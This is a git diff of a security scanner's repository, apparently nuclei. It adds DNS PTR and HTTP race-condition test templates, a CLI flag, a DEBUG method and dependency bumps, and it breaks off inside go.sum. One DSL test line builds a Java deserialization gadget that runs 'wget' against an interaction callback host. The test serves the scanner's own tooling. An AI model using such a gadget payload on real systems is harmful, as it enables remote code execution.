diff --git a/SYNTAX-REFERENCE.md b/SYNTAX-REFERENCE.md index c0e8941b..e55cf986 100755 --- a/SYNTAX-REFERENCE.md +++ b/SYNTAX-REFERENCE.md @@ -2172,6 +2172,8 @@ Enum Values: - PATCH - PURGE + + - Debug
diff --git a/integration_tests/dns/ptr.yaml b/integration_tests/dns/ptr.yaml new file mode 100644 index 00000000..99619470 --- /dev/null +++ b/integration_tests/dns/ptr.yaml @@ -0,0 +1,22 @@ +id: ptr-fingerprint + +info: + name: PTR Fingerprint + author: pdteam + severity: info + tags: dns,ptr + +dns: + - name: "{{FQDN}}" + type: PTR + + matchers: + - type: word + words: + - "IN\tPTR" + + extractors: + - type: regex + group: 1 + regex: + - "IN\tPTR\t(.+)" \ No newline at end of file diff --git a/integration_tests/http/dsl-functions.yaml b/integration_tests/http/dsl-functions.yaml index 8b078e8f..f52a3b80 100644 --- a/integration_tests/http/dsl-functions.yaml +++ b/integration_tests/http/dsl-functions.yaml @@ -14,55 +14,56 @@ requests: 02: {{base64(1234)}} 03: {{base64_decode("SGVsbG8=")}} 04: {{base64_py("Hello")}} - 05: {{contains("Hello", "lo")}} - 06: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} - 07: {{gzip("Hello")}} - 08: {{hex_decode("6161")}} - 09: {{hex_encode("aa")}} - 10: {{html_escape("test")}} - 11: {{html_unescape("<body>test</body>")}} - 12: {{len("Hello")}} - 13: {{len(5555)}} - 14: {{md5("Hello")}} - 15: {{md5(1234)}} - 16: {{mmh3("Hello")}} - 17: {{print_debug(1+2, "Hello")}} - 18: {{rand_base(5, "abc")}} - 19: {{rand_base(5, "")}} - 20: {{rand_base(5)}} - 21: {{rand_char("abc")}} - 22: {{rand_char("")}} - 23: {{rand_char()}} - 24: {{rand_int(1, 10)}} - 25: {{rand_int(10)}} - 26: {{rand_int()}} - 27: {{rand_text_alpha(10, "abc")}} - 28: {{rand_text_alpha(10, "")}} - 29: {{rand_text_alpha(10)}} - 30: {{rand_text_alphanumeric(10, "ab12")}} - 31: {{rand_text_alphanumeric(10)}} - 32: {{rand_text_numeric(10, 123)}} - 33: {{rand_text_numeric(10)}} - 34: {{regex("H([a-z]+)o", "Hello")}} - 35: {{remove_bad_chars("abcd", "bc")}} - 36: {{repeat("a", 5)}} - 37: {{replace("Hello", "He", "Ha")}} - 38: {{replace_regex("He123llo", "(\\d+)", "")}} - 39: {{reverse("abc")}} - 40: {{sha1("Hello")}} - 41: {{sha256("Hello")}} - 42: {{to_lower("HELLO")}} - 43: {{to_upper("hello")}} - 44: {{trim("aaaHelloddd", "ad")}} - 45: {{trim_left("aaaHelloddd", "ad")}} - 46: {{trim_prefix("aaHelloaa", "aa")}} - 47: {{trim_right("aaaHelloddd", "ad")}} - 48: {{trim_space(" Hello ")}} - 49: {{trim_suffix("aaHelloaa", "aa")}} - 50: {{unix_time(10)}} - 51: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}} - 52: {{url_encode("https://projectdiscovery.io/test?a=1")}} - 53: {{wait_for(1)}} + 05: {{concat("Hello", "world")}} + 06: {{contains("Hello", "lo")}} + 07: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} + 08: {{gzip("Hello")}} + 09: {{hex_decode("6161")}} + 10: {{hex_encode("aa")}} + 11: {{html_escape("test")}} + 12: {{html_unescape("<body>test</body>")}} + 13: {{len("Hello")}} + 14: {{len(5555)}} + 15: {{md5("Hello")}} + 16: {{md5(1234)}} + 17: {{mmh3("Hello")}} + 18: {{print_debug(1+2, "Hello")}} + 19: {{rand_base(5, "abc")}} + 20: {{rand_base(5, "")}} + 21: {{rand_base(5)}} + 22: {{rand_char("abc")}} + 23: {{rand_char("")}} + 24: {{rand_char()}} + 25: {{rand_int(1, 10)}} + 26: {{rand_int(10)}} + 27: {{rand_int()}} + 28: {{rand_text_alpha(10, "abc")}} + 29: {{rand_text_alpha(10, "")}} + 30: {{rand_text_alpha(10)}} + 31: {{rand_text_alphanumeric(10, "ab12")}} + 32: {{rand_text_alphanumeric(10)}} + 33: {{rand_text_numeric(10, 123)}} + 34: {{rand_text_numeric(10)}} + 35: {{regex("H([a-z]+)o", "Hello")}} + 36: {{remove_bad_chars("abcd", "bc")}} + 37: {{repeat("a", 5)}} + 38: {{replace("Hello", "He", "Ha")}} + 39: {{replace_regex("He123llo", "(\\d+)", "")}} + 40: {{reverse("abc")}} + 41: {{sha1("Hello")}} + 42: {{sha256("Hello")}} + 43: {{to_lower("HELLO")}} + 44: {{to_upper("hello")}} + 45: {{trim("aaaHelloddd", "ad")}} + 46: {{trim_left("aaaHelloddd", "ad")}} + 47: {{trim_prefix("aaHelloaa", "aa")}} + 48: {{trim_right("aaaHelloddd", "ad")}} + 49: {{trim_space(" Hello ")}} + 50: {{trim_suffix("aaHelloaa", "aa")}} + 51: {{unix_time(10)}} + 52: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}} + 53: {{url_encode("https://projectdiscovery.io/test?a=1")}} + 54: {{wait_for(1)}} extractors: - type: regex diff --git a/integration_tests/http/race-multiple.yaml b/integration_tests/http/race-multiple.yaml new file mode 100644 index 00000000..89d4db9d --- /dev/null +++ b/integration_tests/http/race-multiple.yaml @@ -0,0 +1,46 @@ +id: race-condition-testing + +info: + name: Race condition testing with multiple requests + author: pdteam + severity: info + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + id=1 + + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + id=2 + + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + id=3 + + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + id=4 + + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + id=5 + + threads: 5 + race: true + + matchers: + - type: status + status: + - 200 \ No newline at end of file diff --git a/integration_tests/http/race-simple.yaml b/integration_tests/http/race-simple.yaml new file mode 100644 index 00000000..39a7fb91 --- /dev/null +++ b/integration_tests/http/race-simple.yaml @@ -0,0 +1,23 @@ +id: race-condition-testing + +info: + name: Race Condition testing + author: pdteam + severity: info + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + test + + race: true + race_count: 10 + + matchers: + - type: status + part: header + status: + - 200 \ No newline at end of file diff --git a/nuclei-jsonschema.json b/nuclei-jsonschema.json index f600fcc1..6e414874 100755 --- a/nuclei-jsonschema.json +++ b/nuclei-jsonschema.json @@ -316,7 +316,7 @@ ], "type": "string", "title": "type of the matcher", - "description": "Type of the matcher,enum=status,enum=size,enum=word,enum=regex,enum=binary,enum=dsl" + "description": "Type of the matcher" }, "generators.AttackTypeHolder": { "enum": [ @@ -342,7 +342,7 @@ ], "type": "string", "title": "type of DNS request to make", - "description": "Type is the type of DNS request to make,enum=A,enum=NS,enum=DS,enum=CNAME,enum=SOA,enum=PTR,enum=MX,enum=TXT,enum=AAAA" + "description": "Type is the type of DNS request to make" }, "dns.Request": { "properties": { @@ -601,7 +601,7 @@ ], "type": "string", "title": "action to perform", - "description": "Type of actions to perform,enum=navigate,enum=script,enum=click,enum=rightclick,enum=text,enum=screenshot,enum=time,enum=select,enum=files,enum=waitload,enum=getresource,enum=extract,enum=setmethod,enum=addheader,enum=setheader,enum=deleteheader,enum=setbody,enum=waitevent,enum=keyboard,enum=debug,enum=sleep" + "description": "Type of actions to perform" }, "http.HTTPMethodTypeHolder": { "enum": [ @@ -614,11 +614,12 @@ "OPTIONS", "TRACE", "PATCH", - "PURGE" + "PURGE", + "DEBUG" ], "type": "string", "title": "method is the HTTP request method", - "description": "Method is the HTTP Request Method,enum=GET,enum=HEAD,enum=POST,enum=PUT,enum=DELETE,enum=CONNECT,enum=OPTIONS,enum=TRACE,enum=PATCH,enum=PURGE" + "description": "Method is the HTTP Request Method" }, "http.Request": { "properties": { @@ -838,7 +839,7 @@ ], "type": "string", "title": "type is the type of input data", - "description": "description=Type of input specified in data field,enum=hex,enum=text" + "description": "description=Type of input specified in data field" }, "network.Request": { "properties": { diff --git a/v2/cmd/integration-test/dns.go b/v2/cmd/integration-test/dns.go index 0ba4be72..8e3b7213 100644 --- a/v2/cmd/integration-test/dns.go +++ b/v2/cmd/integration-test/dns.go @@ -6,6 +6,7 @@ import ( var dnsTestCases = map[string]testutils.TestCase{ "dns/basic.yaml": &dnsBasic{}, + "dns/ptr.yaml": &dnsPtr{}, } type dnsBasic struct{} @@ -23,3 +24,19 @@ func (h *dnsBasic) Execute(filePath string) error { } return expectResultsCount(results, 1) } + +type dnsPtr struct{} + +// Execute executes a test case and returns an error if occurred +func (h *dnsPtr) Execute(filePath string) error { + var routerErr error + + results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "1.1.1.1", debug) + if err != nil { + return err + } + if routerErr != nil { + return routerErr + } + return expectResultsCount(results, 1) +} diff --git a/v2/cmd/integration-test/http.go b/v2/cmd/integration-test/http.go index a95cea55..5f7f5ae8 100644 --- a/v2/cmd/integration-test/http.go +++ b/v2/cmd/integration-test/http.go @@ -42,6 +42,8 @@ var httpTestcases = map[string]testutils.TestCase{ "http/get-redirects-chain-headers.yaml": &httpGetRedirectsChainHeaders{}, "http/dsl-matcher-variable.yaml": &httpDSLVariable{}, "http/dsl-functions.yaml": &httpDSLFunctions{}, + "http/race-simple.yaml": &httpRaceSimple{}, + "http/race-multiple.yaml": &httpRaceMultiple{}, } type httpInteractshRequest struct{} @@ -224,7 +226,7 @@ func (h *httpDSLFunctions) Execute(filePath string) error { } totalExtracted := strings.Split(submatch[1], ",") - numberOfDslFunctions := 53 + numberOfDslFunctions := 54 if len(totalExtracted) != numberOfDslFunctions { return errors.New("incorrect number of results") } @@ -689,3 +691,39 @@ func (h *httpGetRedirectsChainHeaders) Execute(filePath string) error { return expectResultsCount(results, 1) } + +type httpRaceSimple struct{} + +// Execute executes a test case and returns an error if occurred +func (h *httpRaceSimple) Execute(filePath string) error { + router := httprouter.New() + router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { + w.WriteHeader(http.StatusOK) + }) + ts := httptest.NewServer(router) + defer ts.Close() + + results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug) + if err != nil { + return err + } + return expectResultsCount(results, 10) +} + +type httpRaceMultiple struct{} + +// Execute executes a test case and returns an error if occurred +func (h *httpRaceMultiple) Execute(filePath string) error { + router := httprouter.New() + router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { + w.WriteHeader(http.StatusOK) + }) + ts := httptest.NewServer(router) + defer ts.Close() + + results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug) + if err != nil { + return err + } + return expectResultsCount(results, 5) +} diff --git a/v2/cmd/nuclei/main.go b/v2/cmd/nuclei/main.go index ce022cea..2d645e69 100644 --- a/v2/cmd/nuclei/main.go +++ b/v2/cmd/nuclei/main.go @@ -13,6 +13,7 @@ import ( "github.com/projectdiscovery/nuclei/v2/internal/runner" "github.com/projectdiscovery/nuclei/v2/pkg/catalog/config" "github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity" + "github.com/projectdiscovery/nuclei/v2/pkg/protocols/http" templateTypes "github.com/projectdiscovery/nuclei/v2/pkg/templates/types" "github.com/projectdiscovery/nuclei/v2/pkg/types" ) @@ -157,6 +158,7 @@ on extensive configurability, massive extensibility and ease of use.`) createGroup(flagSet, "optimization", "Optimizations", flagSet.IntVar(&options.Timeout, "timeout", 5, "time to wait in seconds before timeout"), flagSet.IntVar(&options.Retries, "retries", 1, "number of times to retry a failed request"), + flagSet.BoolVarP(&options.LeaveDefaultPorts, "leave-default-ports", "ldp", false, "Leave default HTTP/HTTPS ports (eg. host:80,host:443"), flagSet.IntVarP(&options.MaxHostError, "max-host-error", "mhe", 30, "max errors for a host before skipping from scan"), flagSet.BoolVar(&options.Project, "project", false, "use a project folder to avoid sending same request multiple times"), flagSet.StringVar(&options.ProjectPath, "project-path", os.TempDir(), "set a specific project path"), @@ -201,6 +203,10 @@ on extensive configurability, massive extensibility and ease of use.`) _ = flagSet.Parse() + if options.LeaveDefaultPorts { + http.LeaveDefaultPorts = true + } + if cfgFile != "" { if err := flagSet.MergeConfigFile(cfgFile); err != nil { gologger.Fatal().Msgf("Could not read config: %s\n", err) diff --git a/v2/go.mod b/v2/go.mod index 92abdc5d..bccb2281 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -11,11 +11,11 @@ require ( github.com/blang/semver v3.5.1+incompatible github.com/bluele/gcache v0.0.2 github.com/corpix/uarand v0.1.1 - github.com/go-playground/validator/v10 v10.9.0 + github.com/go-playground/validator/v10 v10.10.0 github.com/go-rod/rod v0.101.8 github.com/gobwas/ws v1.1.0 github.com/google/go-github v17.0.0+incompatible - github.com/itchyny/gojq v0.12.5 + github.com/itchyny/gojq v0.12.6 github.com/json-iterator/go v1.1.12 github.com/julienschmidt/httprouter v1.3.0 github.com/karlseguin/ccache v2.0.3+incompatible @@ -23,11 +23,11 @@ require ( github.com/logrusorgru/aurora v2.0.3+incompatible github.com/miekg/dns v1.1.45 github.com/olekukonko/tablewriter v0.0.5 - github.com/owenrumney/go-sarif v1.0.11 + github.com/owenrumney/go-sarif v1.1.1 github.com/pkg/errors v0.9.1 github.com/projectdiscovery/clistats v0.0.8 github.com/projectdiscovery/cryptoutil v0.0.0-20210805184155-b5d2512f9345 - github.com/projectdiscovery/fastdialer v0.0.13 + github.com/projectdiscovery/fastdialer v0.0.14 github.com/projectdiscovery/filekv v0.0.0-20210915124239-3467ef45dd08 github.com/projectdiscovery/fileutil v0.0.0-20210928100737-cab279c5d4b5 github.com/projectdiscovery/goflags v0.0.8-0.20211028121123-edf02bc05b1a @@ -43,7 +43,7 @@ require ( github.com/remeh/sizedwaitgroup v1.0.0 github.com/rs/xid v1.3.0 // indirect github.com/segmentio/ksuid v1.0.4 - github.com/shirou/gopsutil/v3 v3.21.9 + github.com/shirou/gopsutil/v3 v3.21.12 github.com/spaolacci/murmur3 v1.1.0 github.com/spf13/cast v1.4.1 github.com/syndtr/goleveldb v1.0.0 @@ -56,20 +56,21 @@ require ( go.uber.org/atomic v1.9.0 go.uber.org/multierr v1.7.0 go.uber.org/ratelimit v0.2.0 - golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2 + golang.org/x/net v0.0.0-20211216030914-fe4d6282115f golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1 golang.org/x/text v0.3.7 gopkg.in/yaml.v2 v2.4.0 moul.io/http2curl v1.0.0 ) -require github.com/aws/aws-sdk-go v1.42.3 +require github.com/aws/aws-sdk-go v1.42.37 require github.com/projectdiscovery/folderutil v0.0.0-20211206150108-b4e7ea80f36e require ( github.com/Ice3man543/nvd v1.0.8 github.com/openrdap/rdap v0.9.1-0.20191017185644-af93e7ef17b7 + github.com/projectdiscovery/iputil v0.0.0-20210804143329-3a30fcde43f3 github.com/stretchr/testify v1.7.0 ) @@ -77,7 +78,6 @@ require ( git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a // indirect github.com/Mzack9999/ldapserver v1.0.2-0.20211229000134-b44a0d6ad0dd // indirect github.com/PuerkitoBio/goquery v1.6.0 // indirect - github.com/StackExchange/wmi v1.2.1 // indirect github.com/akrylysov/pogreb v0.10.1 // indirect github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 // indirect github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137 // indirect @@ -93,7 +93,7 @@ require ( github.com/dimchansky/utfbom v1.1.1 // indirect github.com/dsnet/compress v0.0.1 // indirect github.com/fatih/structs v1.1.0 // indirect - github.com/go-ole/go-ole v1.2.5 // indirect + github.com/go-ole/go-ole v1.2.6 // indirect github.com/go-playground/locales v0.14.0 // indirect github.com/go-playground/universal-translator v0.18.0 // indirect github.com/goburrow/cache v0.1.4 // indirect @@ -118,15 +118,16 @@ require ( github.com/leodido/go-urn v1.2.1 // indirect github.com/libdns/libdns v0.2.1 // indirect github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 // indirect - github.com/mattn/go-isatty v0.0.13 // indirect + github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect + github.com/mattn/go-isatty v0.0.14 // indirect github.com/mattn/go-runewidth v0.0.13 // indirect github.com/mholt/acmez v1.0.1 // indirect github.com/mitchellh/go-homedir v1.1.0 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e // indirect - github.com/projectdiscovery/iputil v0.0.0-20210804143329-3a30fcde43f3 // indirect github.com/projectdiscovery/mapcidr v0.0.8 // indirect github.com/projectdiscovery/networkpolicy v0.0.1 // indirect github.com/rivo/uniseg v0.2.0 // indirect @@ -137,7 +138,8 @@ require ( github.com/valyala/bytebufferpool v1.0.0 // indirect github.com/yl2chen/cidranger v1.0.2 // indirect github.com/ysmood/goob v0.3.0 // indirect - github.com/zclconf/go-cty v1.8.4 // indirect + github.com/yusufpapurcu/wmi v1.2.2 // indirect + github.com/zclconf/go-cty v1.10.0 // indirect go.etcd.io/bbolt v1.3.6 // indirect go.uber.org/zap v1.20.0 // indirect goftp.io/server/v2 v2.0.0 // indirect diff --git a/v2/go.sum b/v2/go.sum index a8771259..9d150064 100644 --- a/v2/go.sum +++ b/v2/go.sum @@ -50,7 +50,6 @@ github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAE github.com/OneOfOne/xxhash v1.2.8/go.mod h1:eZbhyaAYD41SGSSsnmcpxVoRiQ/MPUTjUdIIOT9Um7Q= github.com/PuerkitoBio/goquery v1.6.0 h1:j7taAbelrdcsOlGeMenZxc2AWXD5fieT1/znArdnx94= github.com/PuerkitoBio/goquery v1.6.0/go.mod h1:GsLWisAFVj4WgDibEWF4pvYnkVQBpKBKeU+7zCJoLcc= -github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA= github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8= github.com/akrylysov/pogreb v0.10.0/go.mod h1:pNs6QmpQ1UlTJKDezuRWmaqkgUE2TuU0YTWyqJZ7+lI= github.com/akrylysov/pogreb v0.10.1 h1:FqlR8VR7uCbJdfUob916tPM+idpKgeESDXOA1K0DK4w= @@ -83,8 +82,8 @@ github.com/aphistic/sweet v0.2.0/go.mod h1:fWDlIh/isSE9n6EPsRmC0det+whmX6dJid3st github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= -github.com/aws/aws-sdk-go v1.42.3 h1:lBKr3tQ06m1uykiychMNKLK1bRfOzaIEQpsI/S3QiNc= -github.com/aws/aws-sdk-go v1.42.3/go.mod h1:585smgzpB/KqRA+K3y/NL/oYRqQvpNJYvLm+LY1U59Q= +github.com/aws/aws-sdk-go v1.42.37 h1:EIziSq3REaoi1LgUBgxoQr29DQS7GYHnBbZPajtJmXM= +github.com/aws/aws-sdk-go v1.42.37/go.mod h1:OGr6lGMAKGlG9CVrYnWYDKIyb829c6EVBRjxqjmPepc= github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I= github.com/benbjohnson/clock v1.1.0 h1:Q92kusRqC1XV2MjkWETPvjJVqKetz1OzxZB7mHJLju8= github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= @@ -153,16 +152,17 @@ github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9 github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= -github.com/go-ole/go-ole v1.2.5 h1:t4MGB5xEDZvXI+0rMjjsfBsD7yAgp/s9ZDkL1JndXwY= github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= +github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= github.com/go-playground/assert/v2 v2.0.1 h1:MsBgLAaY856+nPRTKrp3/OZK38U/wa0CcBYNjji3q3A= github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/locales v0.14.0 h1:u50s323jtVGugKlcYeyzC0etD1HifMjqmJqb8WugfUU= github.com/go-playground/locales v0.14.0/go.mod h1:sawfccIbzZTqEDETgFXqTho0QybSa7l++s0DH+LDiLs= github.com/go-playground/universal-translator v0.18.0 h1:82dyy6p4OuJq4/CByFNOn/jYrnRPArHwAcmLoJZxyho= github.com/go-playground/universal-translator v0.18.0/go.mod h1:UvRDBj+xPUEGrFYl+lu/H90nyDXpg0fqeB/AQUGNTVA= -github.com/go-playground/validator/v10 v10.9.0 h1:NgTtmN58D0m8+UuxtYmGztBJB7VnPgjj221I1QHci2A= -github.com/go-playground/validator/v10 v10.9.0/go.mod h1:74x4gJWsvQexRdW8Pn3dXSGrTK4nAUsbPlLADvpJkos= +github.com/go-playground/validator/v10 v10.10.0 h1:I7mrTYv78z8k8VXa/qJlOlEXn/nBh+BF8dHX5nt/dr0= +github.com/go-playground/validator/v10 v10.10.0/go.mod h1:74x4gJWsvQexRdW8Pn3dXSGrTK4nAUsbPlLADvpJkos= github.com/go-redis/redis v6.15.5+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA= github.com/go-rod/rod v0.91.1/go.mod h1:/W4lcZiCALPD603MnJGIvhtywP3R6yRB9EDfFfsHiiI= github.com/go-rod/rod v0.101.8 h1:oV0O97uwjkCVyAP0hD6K6bBE8FUMIjs0dtF7l6kEBsU= @@ -271,8 +271,8 @@ github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1: github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/itchyny/go-flags v1.5.0/go.mod h1:lenkYuCobuxLBAd/HGFE4LRoW8D3B6iXRQfWYJ+MNbA= github.com/itchyny/gojq v0.12.4/go.mod h1:EQUSKgW/YaOxmXpAwGiowFDO4i2Rmtk5+9dFyeiymAg= -github.com/itchyny/gojq v0.12.5 h1:6SJ1BQ1VAwJAlIvLSIZmqHP/RUEq3qfVWvsRxrqhsD0= -github.com/itchyny/gojq v0.12.5/go.mod h1:3e1hZXv+Kwvdp6V9HXpVrvddiHVApi5EDZwS+zLFeiE= +github.com/itchyny/gojq v0.12.6 h1:VjaFn59Em2wTxDNGcrRkDK9ZHMNa8IksOgL13sLL4d0= +github.com/itchyny/gojq v0.12.6/go.mod h1:ZHrkfu7A+RbZLy5J1/JKpS4poEqrzItSTGDItqsfP0A= github.com/itchyny/timefmt-go v0.1.3 h1:7M3LGVDsqcd0VZH2U+x393obrzZisp7C0uEe921iRkU= github.com/itchyny/timefmt-go v0.1.3/go.mod h1:0osSSCQSASBJMsIZnhAaF1C2fCBTJZXrnj37mG8/c+A= github.com/jarcoal/httpmock v1.0.4 h1:jp+dy/+nonJE4g4xbVtl9QdrUNbn6/3hDT5R4nDIZnA= @@ -333,13 +333,16 @@ github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczG github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 h1:wIONC+HMNRqmWBjuMxhatuSzHaljStc4gjDeKycxy0A= github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0= +github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4= +github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA= github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= @@ -384,8 +387,9 @@ github.com/onsi/gomega v1.10.5 h1:7n6FEkpFmfCoo2t+YYqXH0evK+a9ICQz0xcAy9dYcaQ= github.com/onsi/gomega v1.10.5/go.mod h1:gza4q3jKQJijlu05nKWRCW/GavJumGt8aNRxWg7mt48= github.com/openrdap/rdap v0.9.1-0.20191017185644-af93e7ef17b7 h1:3Xn/CN6GVY+7mVuGgt5bfp0F9JwcWqnvwfb23Jf8Vxg= github.com/openrdap/rdap v0.9.1-0.20191017185644-af93e7ef17b7/go.mod h1:inRbqVxN7ri77yTJY3ZtGtKegIFa3Qnarh7Xp9P7LgY= -github.com/owenrumney/go-sarif v1.0.11 h1:7k4TLSi6h3vAozSECjO0arcQoeUNDMgvA7LDac95sJo= github.com/owenrumney/go-sarif v1.0.11/go.mod h1:hTBFbxU7GuVRUvwMx+eStp9M/Oun4xHCS3vqpPvket8= +github.com/owenrumney/go-sarif v1.1.1 h1:QNObu6YX1igyFKhdzd7vgzmw7XsWN3/6NMGuDzBgXmE= +github.com/owenrumney/go-sarif v1.1.1/go.mod h1:dNDiPlF04ESR/6fHlPyq7gHKmrM0sHUvAGjsoh8ZH0U= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= @@ -393,6 +397,8 @@ github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw= +github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e 